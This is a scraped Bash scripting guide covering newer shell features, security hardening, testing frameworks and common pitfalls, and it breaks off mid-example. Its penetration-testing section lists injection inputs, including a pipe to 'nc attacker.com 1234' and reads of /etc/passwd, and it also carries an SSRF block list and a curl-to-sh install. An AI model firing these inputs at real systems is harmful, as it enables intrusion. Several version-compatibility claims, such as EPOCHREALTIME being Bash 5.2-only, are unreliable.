# Microsecond-precision timestamp
echo "$EPOCHREALTIME" # e.g., 1699564322.123456
# Measure execution time
start="$EPOCHREALTIME"
# ... operation ...
end="$EPOCHREALTIME"
# Calculate duration in microseconds
duration=$(awk "BEGIN {print ($end - $start) * 1000000}")
echo "Duration: ${duration}µs"BASH_REMATCH Enhancements
# Better handling in conditional expressions
if [[ $text =~ ([0-9]+)-([0-9]+)-([0-9]+) ]]; then
year="${BASH_REMATCH[1]}"
month="${BASH_REMATCH[2]}"
day="${BASH_REMATCH[3]}"
echo "Date: $year-$month-$day"
fiBash 4.4+ Features (Still Relevant)
Parameter Transformation Operators
text="hello world"
# Shell-quoted output (Bash 4.4+)
echo "${text@Q}" # 'hello world'
# Escape sequence expansion (Bash 4.4+)
escaped="hello\nworld"
echo "${escaped@E}" # hello
# world
# Prompt expansion (Bash 4.4+)
PS1='\u@\h:\w\$ '
echo "${PS1@P}" # user@hostname:/path$mapfile with Custom Delimiter
# Read with custom delimiter (Bash 4.4+)
mapfile -d ':' fields <<< "field1:field2:field3"
for field in "${fields[@]}"; do
echo "Field: $field"
doneshopt -s inherit_errexit
# Better error propagation in command substitution (Bash 4.4+)
set -e
shopt -s inherit_errexit
# Subshells now inherit errexit
result=$(false; echo "never reached") # Exits due to inherit_errexitLocale-Aware Case Modification
# Locale-aware transformations (Bash 4.4+)
text="Stra\u00dfe" # German street (ß)
echo "${text@L}" # locale-aware lowercase
echo "${text@U}" # locale-aware uppercaseFeature Detection Pattern
Create portable scripts that use modern features when available:
#!/usr/bin/env bash
# Feature detection function
has_feature() {
local feature="$1"
case "$feature" in
bash5)
(( BASH_VERSINFO[0] >= 5 ))
;;
bash52)
(( BASH_VERSINFO[0] == 5 && BASH_VERSINFO[1] >= 2 ))
;;
bash44)
(( BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 4 )) || (( BASH_VERSINFO[0] >= 5 ))
;;
*)
return 1
;;
esac
}
# Use with fallback
if has_feature bash52; then
# Use EPOCHREALTIME
start="$EPOCHREALTIME"
else
# Fallback to date
start=$(date +%s.%N)
fiPractical Examples
High-Precision Timing
# Bash 5.2+
if (( BASH_VERSINFO[0] == 5 && BASH_VERSINFO[1] >= 2 )); then
start="$EPOCHREALTIME"
# ... operation ...
end="$EPOCHREALTIME"
duration=$(awk "BEGIN {printf \"%.6f\", $end - $start}")
echo "Duration: ${duration}s"
else
# Fallback
start=$(date +%s.%N 2>/dev/null || date +%s)
# ... operation ...
end=$(date +%s.%N 2>/dev/null || date +%s)
duration=$(awk "BEGIN {printf \"%.6f\", $end - $start}")
echo "Duration: ${duration}s"
fiSafe Uppercase Conversion
# Bash 5.0+
if (( BASH_VERSINFO[0] >= 5 )); then
uppercase="${text@U}"
else
# Fallback to tr
uppercase=$(echo "$text" | tr '[:lower:]' '[:upper:]')
fiSecure Random Numbers
# Bash 5.1+
if (( BASH_VERSINFO[0] == 5 && BASH_VERSINFO[1] >= 1 )); then
random_num="$SRANDOM"
else
# Fallback to /dev/urandom
random_num=$(od -An -N4 -tu4 </dev/urandom | tr -d ' ')
fiVersion-Specific Shell Options
# List all available shell options for current version
shopt | sort
# Bash 5.x specific options
if (( BASH_VERSINFO[0] >= 5 )); then
shopt -s globskipdots # Skip . and .. in glob expansion
shopt -s assoc_expand_once # Expand associative array subscripts only once
fi
# Bash 4.4+ specific options
if (( BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 4 )) || (( BASH_VERSINFO[0] >= 5 )); then
shopt -s inherit_errexit # Inherit errexit in command substitutions
shopt -s localvar_inherit # Local variables inherit values
fiMinimum Version Requirements
Recommended Minimum: Bash 4.4
Bash 4.4 (2016) provides essential modern features:
inherit_errexitfor reliable error handling@Q,@E,@P,@Atransformationsmapfile -dfor custom delimiters- Improved
[[and(())operators
Check Version and Exit
#!/usr/bin/env bash
# Require Bash 4.4+
if (( BASH_VERSINFO[0] < 4 )) ||
(( BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] < 4 )); then
echo "Error: This script requires Bash 4.4 or higher" >&2
echo "Current version: $BASH_VERSION" >&2
exit 1
fiCompatibility Matrix
| Feature | Bash 4.4 | Bash 5.0 | Bash 5.1 | Bash 5.2 |
|---|---|---|---|---|
${var@Q} | ✅ | ✅ | ✅ | ✅ |
${var@U} | ❌ | ✅ | ✅ | ✅ |
${var@L} | ❌ | ✅ | ✅ | ✅ |
${var@A} | ✅ | ✅ | ✅ | ✅ |
inherit_errexit | ✅ | ✅ | ✅ | ✅ |
SRANDOM | ❌ | ❌ | ✅ | ✅ |
EPOCHREALTIME | ❌ | ❌ | ❌ | ✅ |
wait -n | ✅ | ✅ | ✅ | ✅ |
varredir_close | ❌ | ❌ | ❌ | ✅ |
Migration Guide
From Bash 3.x to 4.4+
# Before (Bash 3.x)
IFS=',' read -a fields <<< "$csv_line" # Basic array
# After (Bash 4.4+)
mapfile -d ',' fields <<< "$csv_line" # Better array handlingFrom Bash 4.x to 5.x
# Before (Bash 4.x)
upper=$(echo "$text" | tr '[:lower:]' '[:upper:]')
# After (Bash 5.0+)
upper="${text@U}" # Built-in, faster, no subprocessTesting Across Versions
Docker-Based Testing
#!/bin/bash
# test-versions.sh
for version in 4.4 5.0 5.1 5.2; do
echo "Testing with Bash $version..."
docker run --rm -v "$PWD:/work" -w /work "bash:$version" ./script.sh
doneCI Matrix
strategy:
matrix:
bash-version: ['4.4', '5.0', '5.1', '5.2']
steps:
- name: Test with Bash ${{ matrix.bash-version }}
run: |
docker run --rm -v "$PWD:/work" -w /work \
bash:${{ matrix.bash-version }} \
bats test/Performance Comparison
Modern Bash features are often significantly faster than external commands:
# Benchmark uppercase conversion
iterations=10000
# External command (slow)
time for ((i=0; i<iterations; i++)); do
result=$(echo "$text" | tr '[:lower:]' '[:upper:]')
done
# Built-in (fast - Bash 5.0+)
time for ((i=0; i<iterations; i++)); do
result="${text@U}"
doneTypical results:
- External
tr: ~15-20 seconds - Built-in
@U: ~0.1-0.2 seconds (100x faster)
References
Security & Hardening for Bash Scripts
Comprehensive security practices for production Bash scripts including SAST, secrets detection, input sanitization, and audit logging.
Input Validation & Sanitization
Validate Required Variables
# Required environment variables
: "${DATABASE_URL:?DATABASE_URL must be set}"
: "${API_KEY:?API_KEY must be set}"
# With custom error messages
if [[ -z "${CONFIG_FILE:-}" ]]; then
echo "Error: CONFIG_FILE environment variable not set" >&2
exit 1
fiSanitize User Input
# Validate numeric input
validate_number() {
local input="$1"
[[ $input =~ ^[0-9]+$ ]] || {
echo "Error: '$input' is not a valid number" >&2
return 1
}
}
# Validate alphanumeric input
validate_alphanumeric() {
local input="$1"
[[ $input =~ ^[a-zA-Z0-9_-]+$ ]] || {
echo "Error: '$input' contains invalid characters" >&2
return 1
}
}
# Validate file path (prevent path traversal)
validate_path() {
local path="$1"
local allowed_dir="/safe/directory"
# Resolve to canonical path
local canonical
canonical=$(readlink -f "$path" 2>/dev/null || \
realpath "$path" 2>/dev/null || \
echo "$path")
# Prevent path traversal
case "$canonical" in
"$allowed_dir"/*) return 0 ;;
*) echo "Error: Path outside allowed directory" >&2; return 1 ;;
esac
}Avoid Command Injection
# ❌ DANGEROUS: Never use eval on user input
eval "$user_command" # NEVER DO THIS!
# ❌ DANGEROUS: Unquoted variables in commands
rm -rf $user_directory # Path traversal risk
# ✅ SAFE: Use arrays for dynamic commands
cmd=(grep "$user_pattern" "$file")
"${cmd[@]}"
# ✅ SAFE: Quote all expansions
rm -rf -- "$user_directory"
# ✅ SAFE: Validate before use
if validate_alphanumeric "$user_input"; then
process "$user_input"
fiSecrets Management
Never Hardcode Secrets
# ❌ DANGEROUS: Hardcoded credentials
DB_PASSWORD="super_secret_123"
# ✅ SAFE: Use environment variables
DB_PASSWORD="${DB_PASSWORD:?not set}"
# ✅ SAFE: Read from secure file
if [[ -f /run/secrets/db_password ]]; then
DB_PASSWORD=$(<"/run/secrets/db_password")
else
echo "Error: Secret file not found" >&2
exit 1
fiSecrets Detection Tools
gitleaks
# Install
brew install gitleaks
# Scan repository
gitleaks detect --source . --verbose
# Scan commits
gitleaks protect --stagedConfiguration (.gitleaks.toml):
title = "gitleaks config"
[[rules]]
id = "generic-api-key"
description = "Generic API Key"
regex = '''(?i)(api_key|apikey|api-key)\s*[:=]\s*['"][0-9a-zA-Z]{32,}['"]'''
[[rules]]
id = "aws-access-key"
description = "AWS Access Key"
regex = '''AKIA[0-9A-Z]{16}'''
[[rules]]
id = "private-key"
description = "Private Key"
regex = '''-----BEGIN (RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY-----'''
[allowlist]
paths = [
'''\.md$''',
'''\.example$''',
]TruffleHog
# Install
pip install trufflehog
# Scan repository
trufflehog git file://. --only-verified
# Scan filesystem
trufflehog filesystem /path/to/scanSecure Secret Handling
# Clear sensitive variables after use
cleanup_secrets() {
unset DB_PASSWORD API_KEY AWS_SECRET_KEY
}
trap cleanup_secrets EXIT
# Don't log secrets
log_safe() {
local message="$1"
# Redact patterns that look like secrets
message=$(echo "$message" | sed -E 's/(password|key|token)=[^ ]+/\1=REDACTED/gi')
echo "[LOG] $message" >&2
}
# Don't expose secrets in process listing
# Instead of: script.sh --password=secret
# Use: script.sh (and read password from env or file)Static Analysis Security Testing (SAST)
ShellCheck Security Rules
# Install ShellCheck
brew install shellcheck
# Run with all checks enabled
shellcheck --enable=all --severity=warning script.sh
# Focus on security issues
shellcheck --severity=error script.shConfiguration (.shellcheckrc):
# Enable all optional checks
enable=all
# Exclude specific warnings (with justification!)
# SC2312: Consider invoking this command separately
disable=SC2312
# Check sourced files
external-sources=true
# Set shell directive
shell=bashSemgrep for Shell Scripts
# Install
pip install semgrep
# Run security checks
semgrep --config=p/security-audit --lang=bash .Custom rules (.semgrep.yml):
rules:
- id: unsafe-eval
pattern: eval $VAR
message: Never use eval on untrusted input
severity: ERROR
languages: [bash]
- id: command-injection
pattern: |
$CMD $VAR
message: Potential command injection
severity: WARNING
languages: [bash]
- id: hardcoded-secret
pattern: |
PASSWORD="..."
message: Do not hardcode secrets
severity: ERROR
languages: [bash]CodeQL for Shell Scripts
# .github/workflows/codeql.yml
name: CodeQL
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
analyze:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
with:
languages: bash
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2Privilege Management
Avoid Running as Root
# Check if running as root
if [[ $EUID -eq 0 ]]; then
echo "Error: This script should not be run as root" >&2
exit 1
fi
# Request specific privilege when needed
if [[ ! -w /etc/config ]]; then
echo "This operation requires sudo privileges" >&2
sudo cp config.new /etc/config
fiPrinciple of Least Privilege
# Drop privileges after initial setup
if [[ $EUID -eq 0 ]]; then
# Do privileged setup
setup_system
# Drop to normal user
exec su - normaluser -c "$0 $*"
fiAudit Sudo Usage
# Log all sudo operations
sudo_command() {
local cmd="$*"
logger -t "$(basename "$0")" "SUDO: $cmd"
sudo "$@"
}
# Usage
sudo_command apt-get updateFile Operations Security
Safe Temporary Files
# ❌ DANGEROUS: Predictable temp file name
tmpfile="/tmp/myapp-$$" # Race condition!
# ✅ SAFE: Use mktemp
tmpfile=$(mktemp)
trap 'rm -f "$tmpfile"' EXIT
# ✅ SAFE: Temp directory with restrictive permissions
tmpdir=$(mktemp -d)
chmod 700 "$tmpdir"
trap 'rm -rf "$tmpdir"' EXITFile Permission Checks
# Check file ownership
check_file_ownership() {
local file="$1"
local expected_owner="$USER"
local actual_owner
actual_owner=$(stat -c '%U' "$file" 2>/dev/null || stat -f '%Su' "$file")
if [[ "$actual_owner" != "$expected_owner" ]]; then
echo "Error: File owned by $actual_owner, expected $expected_owner" >&2
return 1
fi
}
# Check file permissions
check_file_permissions() {
local file="$1"
local expected_perms="600"
local actual_perms
actual_perms=$(stat -c '%a' "$file" 2>/dev/null || stat -f '%A' "$file")
if [[ "$actual_perms" != "$expected_perms" ]]; then
echo "Error: File has permissions $actual_perms, expected $expected_perms" >&2
return 1
fi
}Secure File Creation
# Create file with restricted permissions
(umask 077; touch "$secure_file")
# Create and immediately set permissions
touch "$file"
chmod 600 "$file"
chown "$USER:$GROUP" "$file"Network Security
Validate URLs
validate_url() {
local url="$1"
# Basic URL validation
[[ $url =~ ^https?://[a-zA-Z0-9.-]+(/.*)?$ ]] || {
echo "Error: Invalid URL format" >&2
return 1
}
# Prevent SSRF (Server-Side Request Forgery)
case "$url" in
*localhost*|*127.0.0.1*|*0.0.0.0*|*169.254.*)
echo "Error: URL points to internal resource" >&2
return 1
;;
esac
}Secure HTTP Requests
# Use TLS and verify certificates
curl_secure() {
curl \
--fail \
--silent \
--show-error \
--location \
--max-redirs 3 \
--max-time 30 \
--cacert /etc/ssl/certs/ca-certificates.crt \
"$@"
}
# Validate server certificate
curl_secure https://api.example.com/dataAudit Logging
Structured Logging
# Log security-relevant operations
audit_log() {
local event_type="$1"; shift
local message="$*"
local timestamp=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
local log_entry
# JSON format for log aggregation
log_entry=$(jq -n \
--arg timestamp "$timestamp" \
--arg hostname "$(hostname)" \
--arg user "$USER" \
--arg pid "$$" \
--arg event_type "$event_type" \
--arg message "$message" \
'{
timestamp: $timestamp,
hostname: $hostname,
user: $user,
pid: ($pid | tonumber),
event_type: $event_type,
message: $message
}')
# Log to file
echo "$log_entry" >> /var/log/audit.log
# Also send to syslog
logger -t "$(basename "$0")" -p auth.info "$event_type: $message"
}
# Usage
audit_log "file_access" "Accessed sensitive file: $file"
audit_log "privilege_escalation" "Sudo command executed: $cmd"
audit_log "authentication" "User login attempt: $username"Syslog Integration
# Send to syslog
log_to_syslog() {
local priority="$1" # e.g., user.info, auth.warning
local message="$2"
logger -t "$(basename "$0")" -p "$priority" "$message"
}
# Usage
log_to_syslog "auth.info" "User authenticated: $username"
log_to_syslog "auth.err" "Failed login attempt: $username"Container Security
Dockerfile Best Practices
FROM bash:5.2-alpine
# Run as non-root user
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
USER appuser
# Copy scripts with restrictive permissions
COPY --chown=appuser:appgroup --chmod=500 scripts/ /app/
# Use read-only filesystem
WORKDIR /app
VOLUME ["/tmp"]
# Security scanning metadata
LABEL maintainer="security@example.com"
LABEL security.scan="trivy,grype"
CMD ["./main.sh"]Scan Container Images
# Trivy
trivy image --severity HIGH,CRITICAL myimage:latest
# Grype
grype myimage:latestSupply Chain Security
Verify Script Checksums
# Generate checksum
sha256sum script.sh > script.sh.sha256
# Verify checksum
sha256sum -c script.sh.sha256 || {
echo "Error: Checksum verification failed!" >&2
exit 1
}Sign Scripts
# Sign with GPG
gpg --detach-sign --armor script.sh
# Verify signature
gpg --verify script.sh.asc script.sh || {
echo "Error: Signature verification failed!" >&2
exit 1
}SBOM (Software Bill of Materials)
# Document dependencies
cat > SBOM.json <<EOF
{
"dependencies": [
{"name": "jq", "version": "1.6", "source": "apt"},
{"name": "curl", "version": "7.81.0", "source": "apt"}
],
"scripts": [
{"name": "backup.sh", "version": "1.0.0", "checksum": "sha256:..."}
]
}
EOFSecurity Checklist
- [ ] All user input is validated and sanitized
- [ ] No secrets hardcoded in scripts
- [ ] ShellCheck passes with no security warnings
- [ ] Scripts don't run as root unless necessary
- [ ] Temporary files created with
mktemp - [ ] File permissions are restrictive (600/700)
- [ ] All variables are quoted
- [ ]
--used to separate options from arguments - [ ] Error handling covers all failure modes
- [ ] Security-relevant operations are logged
- [ ] No
evalon untrusted input - [ ] Secrets cleared from memory after use
- [ ] Dependencies verified with checksums
- [ ] Container images scanned for vulnerabilities
- [ ] SAST tools integrated into CI/CD
Security Testing
Fuzzing
# Fuzz test with random input
for i in {1..1000}; do
random_input=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9!@#$%^&*()' | fold -w 32 | head -n 1)
./script.sh "$random_input" 2>/dev/null || echo "Crashed on: $random_input"
donePenetration Testing
# Test command injection
./script.sh "; cat /etc/passwd"
./script.sh "| nc attacker.com 1234"
./script.sh "\$(whoami)"
# Test path traversal
./script.sh "../../../etc/passwd"
./script.sh "file:///etc/passwd"
# Test XSS (if script generates HTML)
./script.sh "<script>alert('XSS')</script>"References
Bash Testing Frameworks
Comprehensive guide to testing Bash scripts with bats-core, shellspec, and other frameworks.
bats-core (Recommended)
Modern, actively maintained Bash testing framework with TAP output.
Installation
# macOS
brew install bats-core
# Ubuntu/Debian
sudo apt-get install bats
# From source
git clone https://github.com/bats-core/bats-core.git
cd bats-core
sudo ./install.sh /usr/localBasic Test Structure
#!/usr/bin/env bats
# test/script.bats
# Runs before each test
setup() {
# Load script under test
load '../script.sh'
# Create test environment
export TEST_DIR="$(mktemp -d)"
}
# Runs after each test
teardown() {
# Cleanup
rm -rf "$TEST_DIR"
}
@test "function returns success" {
run my_function "arg1" "arg2"
[ "$status" -eq 0 ]
[ "$output" = "expected output" ]
}
@test "function handles errors" {
run my_function "invalid"
[ "$status" -eq 1 ]
[[ "$output" =~ "Error:" ]]
}Running Tests
# Run all tests
bats test/
# Run specific file
bats test/script.bats
# Verbose output
bats --tap test/
# Pretty formatter
bats --pretty test/
# Filter tests by name
bats --filter "pattern" test/Assertions
@test "status code assertions" {
run command
[ "$status" -eq 0 ] # Success
[ "$status" -ne 0 ] # Failure
[ "$status" -eq 2 ] # Specific code
}
@test "output assertions" {
run echo "hello world"
[ "$output" = "hello world" ] # Exact match
[[ "$output" =~ hello ]] # Regex match
[ "${lines[0]}" = "hello world" ] # First line
[ "${#lines[@]}" -eq 1 ] # Line count
}
@test "file assertions" {
run create_file "$TEST_DIR/file.txt"
[ -f "$TEST_DIR/file.txt" ] # File exists
[ -r "$TEST_DIR/file.txt" ] # Readable
[ -x "$TEST_DIR/script.sh" ] # Executable
[ -s "$TEST_DIR/file.txt" ] # Non-empty
}Helper Libraries
bats-support - Additional assertions:
# Install
brew tap kaos/shell
brew install bats-support
# Use in tests
load '/usr/local/lib/bats-support/load.bash'
load '/usr/local/lib/bats-assert/load.bash'
@test "with helpers" {
run command
assert_success
assert_output "expected"
assert_line --index 0 "first line"
refute_output --partial "error"
}Mocking
@test "mock external command" {
# Create mock function
function curl() {
echo "MOCK: curl $*"
return 0
}
export -f curl
run my_script_that_uses_curl
assert_success
assert_output --partial "MOCK: curl"
}
@test "mock with temp script" {
# Create mock executable
cat > "$TEST_DIR/mock-curl" <<'EOF'
#!/bin/bash
echo "MOCK RESPONSE"
exit 0
EOF
chmod +x "$TEST_DIR/mock-curl"
# Add to PATH
export PATH="$TEST_DIR:$PATH"
run my_script
assert_success
}Skipping Tests
@test "not implemented yet" {
skip "Waiting for feature X"
run new_feature
}
@test "only on Linux" {
if [[ "$(uname)" != "Linux" ]]; then
skip "Linux only"
fi
run linux_specific_command
assert_success
}Parallel Execution
# Run tests in parallel (4 jobs)
bats --jobs 4 test/
# Use GNU parallel
find test -name "*.bats" | parallel -j 4 bats {}shellspec (BDD-Style)
Behavior-driven testing framework with rich features.
Installation
# Install
curl -fsSL https://git.io/shellspec | sh
# Or with package manager
brew install shellspecBasic Spec
#shellspec
# spec/script_spec.sh
Describe 'my_script'
Include script.sh
It 'returns success for valid input'
When call my_function "valid"
The status should eq 0
The output should eq "success"
End
It 'returns error for invalid input'
When call my_function "invalid"
The status should eq 1
The stderr should include "Error"
End
EndRunning Specs
# Run all specs
shellspec
# Run specific spec
shellspec spec/script_spec.sh
# Verbose output
shellspec --format documentation
# Coverage report
shellspec --kcovMocking with shellspec
Describe 'with mocks'
mock_curl() {
echo "MOCK: $*"
}
It 'uses mocked command'
curl() { mock_curl "$@"; }
When call script_using_curl
The output should include "MOCK"
End
EndPending Specs
Describe 'future feature'
Pending 'implement X'
It 'will do something'
# Test code here
End
Endshunit2 (xUnit-Style)
Traditional xUnit-style testing framework.
Installation
# Download
curl -L https://raw.githubusercontent.com/kward/shunit2/master/shunit2 > shunit2
chmod +x shunit2Basic Test
#!/bin/bash
# test_script.sh
# Source script under test
. ./script.sh
# Setup function
setUp() {
TEST_DIR="$(mktemp -d)"
}
# Teardown function
tearDown() {
rm -rf "$TEST_DIR"
}
# Test functions (must start with 'test')
testFunctionSuccess() {
result=$(my_function "input")
assertEquals "expected output" "$result"
}
testFunctionFailure() {
my_function "invalid" 2>/dev/null
assertNotEquals 0 $?
}
# Load shunit2
. ./shunit2Running Tests
./test_script.shCoverage Analysis
kcov (Code Coverage)
# Install kcov
brew install kcov # macOS
sudo apt-get install kcov # Ubuntu
# Run with coverage
kcov --exclude-pattern=/usr coverage/ bats test/
# View coverage report
open coverage/index.htmlManual Coverage Tracking
#!/usr/bin/env bats
# Track which functions are tested
setup() {
declare -gA COVERED_FUNCTIONS=()
}
test_coverage() {
COVERED_FUNCTIONS["$1"]=1
}
teardown_file() {
# Report coverage
echo "Covered functions: ${!COVERED_FUNCTIONS[@]}"
}
@test "function A" {
test_coverage "function_a"
run function_a
assert_success
}Test Organization
Directory Structure
project/
├── script.sh
├── lib/
│ ├── utils.sh
│ └── config.sh
└── test/
├── test_helper.bash # Shared test utilities
├── script.bats # Main script tests
├── lib/
│ ├── utils.bats # Library tests
│ └── config.bats
└── fixtures/ # Test data
├── input.txt
└── expected.txtTest Helper
# test/test_helper.bash
# Shared setup
setup_test_environment() {
export TEST_DIR="$(mktemp -d)"
export PATH="$TEST_DIR:$PATH"
}
# Shared teardown
cleanup_test_environment() {
rm -rf "$TEST_DIR"
}
# Custom assertions
assert_file_contains() {
local file="$1"
local pattern="$2"
grep -q "$pattern" "$file" || {
echo "File $file does not contain: $pattern"
return 1
}
}
# Mock helpers
create_mock_command() {
local command="$1"
local response="$2"
cat > "$TEST_DIR/$command" <<EOF
#!/bin/bash
echo "$response"
EOF
chmod +x "$TEST_DIR/$command"
}Using Test Helper
#!/usr/bin/env bats
# test/script.bats
load test_helper
setup() {
setup_test_environment
}
teardown() {
cleanup_test_environment
}
@test "uses custom assertion" {
echo "hello" > "$TEST_DIR/file.txt"
assert_file_contains "$TEST_DIR/file.txt" "hello"
}
@test "uses mock helper" {
create_mock_command "curl" "MOCK RESPONSE"
run curl
[ "$output" = "MOCK RESPONSE" ]
}Integration Testing
Testing with Docker
@test "script works in container" {
skip_if_no_docker
docker run --rm \
-v "$PWD:/work" \
-w /work \
bash:5.2 \
./script.sh --test
[ $? -eq 0 ]
}
skip_if_no_docker() {
command -v docker &>/dev/null || skip "Docker not available"
}Testing with Multiple Shells
@test "works with different shells" {
local shells=(bash zsh)
for shell in "${shells[@]}"; do
command -v "$shell" &>/dev/null || continue
run $shell script.sh
[ "$status" -eq 0 ]
done
}CI/CD Integration
GitHub Actions
name: Test
on: [push, pull_request]
jobs:
test:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macos-latest]
steps:
- uses: actions/checkout@v3
- name: Install bats
run: |
if [[ "$RUNNER_OS" == "Linux" ]]; then
sudo apt-get install -y bats
else
brew install bats-core
fi
- name: Run tests
run: bats test/
- name: Generate coverage
run: |
sudo apt-get install -y kcov
kcov coverage/ bats test/
- name: Upload coverage
uses: codecov/codecov-action@v3
with:
directory: ./coverageGitLab CI
test:
image: bash:5.2
before_script:
- apk add --no-cache bats
script:
- bats test/
coverage: '/^Covered: (\d+\.\d+)%/'Best Practices
1. Test Naming
# Good: Descriptive, specific
@test "backup_database creates compressed file with timestamp"
# Bad: Vague
@test "test1"2. One Assertion Per Test
# Good: Focused
@test "function returns success" {
run my_function
[ "$status" -eq 0 ]
}
@test "function outputs expected message" {
run my_function
[ "$output" = "success" ]
}
# Bad: Multiple concerns
@test "function works" {
run my_function
[ "$status" -eq 0 ]
[ "$output" = "success" ]
[ -f "output.txt" ]
}3. Test Independence
# Good: Self-contained
@test "creates file" {
local tmpfile="$TEST_DIR/test.txt"
create_file "$tmpfile"
[ -f "$tmpfile" ]
}
# Bad: Depends on other tests
@test "reads file" {
# Assumes previous test created file!
content=$(cat "$tmpfile")
}4. Edge Cases
@test "handles empty input" {
run my_function ""
[ "$status" -eq 1 ]
}
@test "handles whitespace" {
run my_function " "
[ "$status" -eq 1 ]
}
@test "handles special characters" {
run my_function '$`!@#'
[ "$status" -eq 0 ]
}Debugging Tests
Enable Trace
@test "debug with trace" {
set -x # Enable trace
run my_function
set +x # Disable trace
[ "$status" -eq 0 ]
}Print Variables
@test "debug variables" {
run my_function
echo "status: $status"
echo "output: $output"
echo "lines: ${lines[@]}"
[ "$status" -eq 0 ]
}Run Single Test
# Run only matching tests
bats --filter "specific test name" test/References
Bash Scripting Troubleshooting
Common pitfalls, errors, and their solutions when writing production Bash scripts.
Common Pitfalls
1. Word Splitting and Globbing
❌ WRONG:
# Breaks on filenames with spaces
for file in $(ls *.txt); do
echo "$file"
done
# Unsafe variable expansion
files=$(find . -name "*.txt")
for file in $files; do # Unquoted!
echo "$file"
done✅ CORRECT:
# Binary-safe file iteration
find . -name "*.txt" -print0 | while IFS= read -r -d '' file; do
echo "$file"
done
# Or use array
readarray -d '' files < <(find . -name "*.txt" -print0)
for file in "${files[@]}"; do
echo "$file"
doneWhy it fails:
- Unquoted expansions split on
$IFS(space, tab, newline by default) - Glob characters (
*,?,[) expand unexpectedly - Filenames with spaces/newlines break iteration
2. Unquoted Variable Expansions
❌ WRONG:
cp $source $destination
rm -rf $tmpdir/*✅ CORRECT:
cp "$source" "$destination"
rm -rf "${tmpdir:?}"/* # Also validates tmpdir is setWhy it fails:
- Spaces in paths cause arguments to split
- Empty variables can cause dangerous operations
- Glob expansion can match unintended files
3. Missing Cleanup Traps
❌ WRONG:
tmpfile=$(mktemp)
# ... do work ...
rm "$tmpfile" # Never reached if script exits early✅ CORRECT:
tmpfile=$(mktemp)
trap 'rm -f "$tmpfile"' EXIT
# ... do work ...
# Cleanup happens automatically on exitWhy it fails:
- Errors, signals, or early exits skip manual cleanup
- Resources leak (temp files, processes, file descriptors)
- Partial state left behind
4. Relying on set -e Alone
❌ WRONG:
set -e
command1
command2 || true # Accidentally disables errexit
command3 # Won't exit even if this fails✅ CORRECT:
set -Eeuo pipefail
trap 'echo "Error at line $LINENO" >&2' ERR
command1 || {
echo "command1 failed" >&2
exit 1
}
command2 || {
echo "command2 failed" >&2
exit 1
}Why it fails:
set -edoesn't work in all contexts (functions, conditionals, pipelines)- Silent failures in pipes (
cmd1 | cmd2only checks cmd2) - Hard to debug without error traps
5. Using echo for Data Output
❌ WRONG:
# Unsafe for data that might start with -
echo "$user_input"
# Inconsistent across platforms
echo -n "prompt: " # -n handling varies✅ CORRECT:
# Always safe, predictable
printf '%s\n' "$user_input"
# Portable no-newline output
printf '%s' "prompt: "Why it fails:
echointerprets escape sequences differently across shells/platforms- Leading
-in data can be interpreted as options - No portable way to control newline behavior
6. Unsafe Array Population
❌ WRONG:
# Breaks on whitespace and glob chars
files=($(find . -name "*.txt"))✅ CORRECT:
# Binary-safe array population
readarray -d '' files < <(find . -name "*.txt" -print0)
# Or with mapfile (alias for readarray)
mapfile -d '' files < <(find . -name "*.txt" -print0)Why it fails:
- Command substitution splits on
$IFS - Filenames with newlines break array
- Glob patterns in filenames expand
7. Ignoring Binary-Safe File Handling
❌ WRONG:
# Breaks on filenames with newlines
find . -name "*.txt" | while read file; do
echo "$file"
done✅ CORRECT:
# NUL-separated (binary-safe)
find . -name "*.txt" -print0 | while IFS= read -r -d '' file; do
echo "$file"
doneWhy it fails:
- Newlines in filenames split into multiple entries
- Trailing/leading whitespace stripped by default
- Only NUL (
\0) is safe delimiter (can't appear in paths)
Debugging Techniques
Enable Trace Mode
# Add to script for debugging
set -x # Print commands as they execute
# Or run with trace
bash -x script.sh
# Selective tracing
set -x # Enable
# ... code to debug ...
set +x # DisableError Context with Line Numbers
# Enhanced error trap
trap 'echo "Error in ${BASH_SOURCE[0]}:$LINENO: command \"$BASH_COMMAND\" exited with $?" >&2' ERRFunction Call Stack
# Print stack trace on error
print_stack_trace() {
local frame=0
echo "Stack trace:" >&2
while caller $frame; do
((frame++))
done
}
trap print_stack_trace ERRVerbose Logging
# Debug wrapper
debug() {
[[ ${DEBUG:-0} -eq 1 ]] && echo "[DEBUG] $*" >&2 || true
}
# Usage
debug "Variable value: $var"
debug "Entering function: ${FUNCNAME[1]}"Dry Run Mode
DRY_RUN=${DRY_RUN:-0}
maybe_run() {
if [[ $DRY_RUN -eq 1 ]]; then
echo "[DRY RUN] Would execute: $*" >&2
else
"$@"
fi
}
# Usage
maybe_run rm -rf /important/directoryShellCheck Integration Issues
Issue: False Positives
Problem:
# ShellCheck SC2086: Double quote to prevent globbing
for host in $HOSTLIST; do # Intentional word splitting
ssh "$host" "uptime"
doneSolution:
# Disable specific check with comment
# shellcheck disable=SC2086
for host in $HOSTLIST; do
ssh "$host" "uptime"
done
# Or use array (better)
IFS=',' read -ra hosts <<< "$HOSTLIST"
for host in "${hosts[@]}"; do
ssh "$host" "uptime"
doneIssue: Unused Variables
Problem:
# ShellCheck SC2034: Variable appears unused
readonly VERSION="1.0.0" # Used in sourced filesSolution:
# Suppress if genuinely used elsewhere
# shellcheck disable=SC2034
readonly VERSION="1.0.0"
# Or export if used by child processes
export VERSION="1.0.0"Platform Compatibility Issues
Issue: GNU vs BSD sed
Problem:
# Works on Linux, fails on macOS
sed -i 's/old/new/' fileSolution:
# Portable in-place edit
if [[ "$(uname)" == "Darwin" ]]; then
sed -i '' 's/old/new/' file # macOS
else
sed -i 's/old/new/' file # Linux
fi
# Or use temp file (most portable)
sed 's/old/new/' file > file.tmp && mv file.tmp fileIssue: Date Command Differences
Problem:
# GNU date syntax doesn't work on macOS
date -d "2023-01-01" +%sSolution:
# Portable date handling
if [[ "$(uname)" == "Darwin" ]]; then
# macOS (BSD date)
